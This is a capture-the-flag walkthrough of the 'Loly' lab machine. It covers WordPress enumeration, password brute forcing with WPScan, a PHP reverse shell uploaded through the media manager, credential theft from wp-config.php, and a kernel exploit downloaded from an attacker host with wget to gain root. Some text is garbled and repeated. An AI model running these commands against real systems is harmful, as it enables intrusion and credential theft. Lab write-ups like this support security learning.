Loly Machine โ WordPress Exploitation to Kernel-Level Root
๐งญ Step 1: Initial Enumeration
Started with aggressive Nmap scan:
nmap -sCV -A โ min-rate 1000 192.168.xx.xx
Explanation:
- -sC โ Default scripts
- -sV โ Version detection
- -A โ OS detection + scripts
- โ min-rate 1000 โ Faster scan

Discovered:
- Web server running
- WordPress instance detected
๐ Step 2: Directory Enumeration
Used feroxbuster for directory brute forcing:
feroxbuster โ url http://192.168.xx.xx -x .php,.html

This revealed multiple WordPress-related endpoints including the admin panel.

Now we try to open admin webpage in browser but here we get a user named loly now we try password as loly but it is not working

๐ Step 3: WordPress Credential Brute Force
Attempted default credentials (loly:loly) โ failed.
Used WPScan for password brute forcing:
wpscan โ url http://192.168.xx.xx โ usernames loly โ passwords /usr/share/wordlists/rockyou.txt
Successfully discovered valid credentials.
Logged into WordPress admin dashboard.

This tool helps to get the credentials

Logged into WordPress admin dashboard.

๐ฅ Step 4: Abusing File Upload Functionality
Inside WordPress admin:
Media โ Upload functionality was abused.
Prepared PHP reverse shell:
Started listener:

first we copy reverse shell php in current directory

Now first change the file php-reverse-shell.php to exploit.php and convert this file into zip folder by this command

Now first change the file php-reverse-shell.php to exploit.php and convert this file into zip folder by this command

now we upload this folder named exploit.php.zip into the website to get unauthorized access and web shell
mv php-reverse-shell.php exploit.php zip exploit.php.zip exploit.php
Uploaded exploit.php.zip through WordPress media manager.

An upload functionality in wordpress was abused to upload a php reverse shell script

Then we start to open the page /banners with the name of reverse shell file into browser to access the target
Triggered shell via browser:
http://192.168.xx.xx/banners/exploit.php
Reverse shell received successfully.

shell received successfully

๐ Step 5: Post-Exploitation Enumeration
After shell access:
Collected user flag.
Navigated to:
cd /var/www/html ls

Found:
wordpress
Opened configuration file:
cat wp-config.php
Extracted database credentials from configuration.

Open this file to get credentials for loly user

loly access achieved

๐ Step 6: Lateral Movement
Used discovered credentials to pivot to another user account on the system.
Gained elevated access.
โก Step 7: Kernel Enumeration
Checked kernel version:
uname -a

Identified vulnerable kernel version.
Searched exploit:
searchsploit <kernel_version>

now we use wget command to upload this exploit
Hosted file from attacker machine:
python3 -m http.server 8000
Downloaded on target:
wget http://<attacker_ip>:8000/45010.c

Compiled:
gcc exploit.c -o exploit

Executed:
./exploit

Root shell obtained successfully.
๐ Final Outcome
โ๏ธ Web Enumeration โ๏ธ WordPress Credential Brute Force โ๏ธ File Upload Exploitation โ๏ธ Reverse Shell Access โ๏ธ Configuration File Credential Discovery โ๏ธ Kernel Exploitation โ๏ธ Root Access Achieved
๐ฅ Full Practical Demonstration For a complete step-by-step video walkthrough, watch here: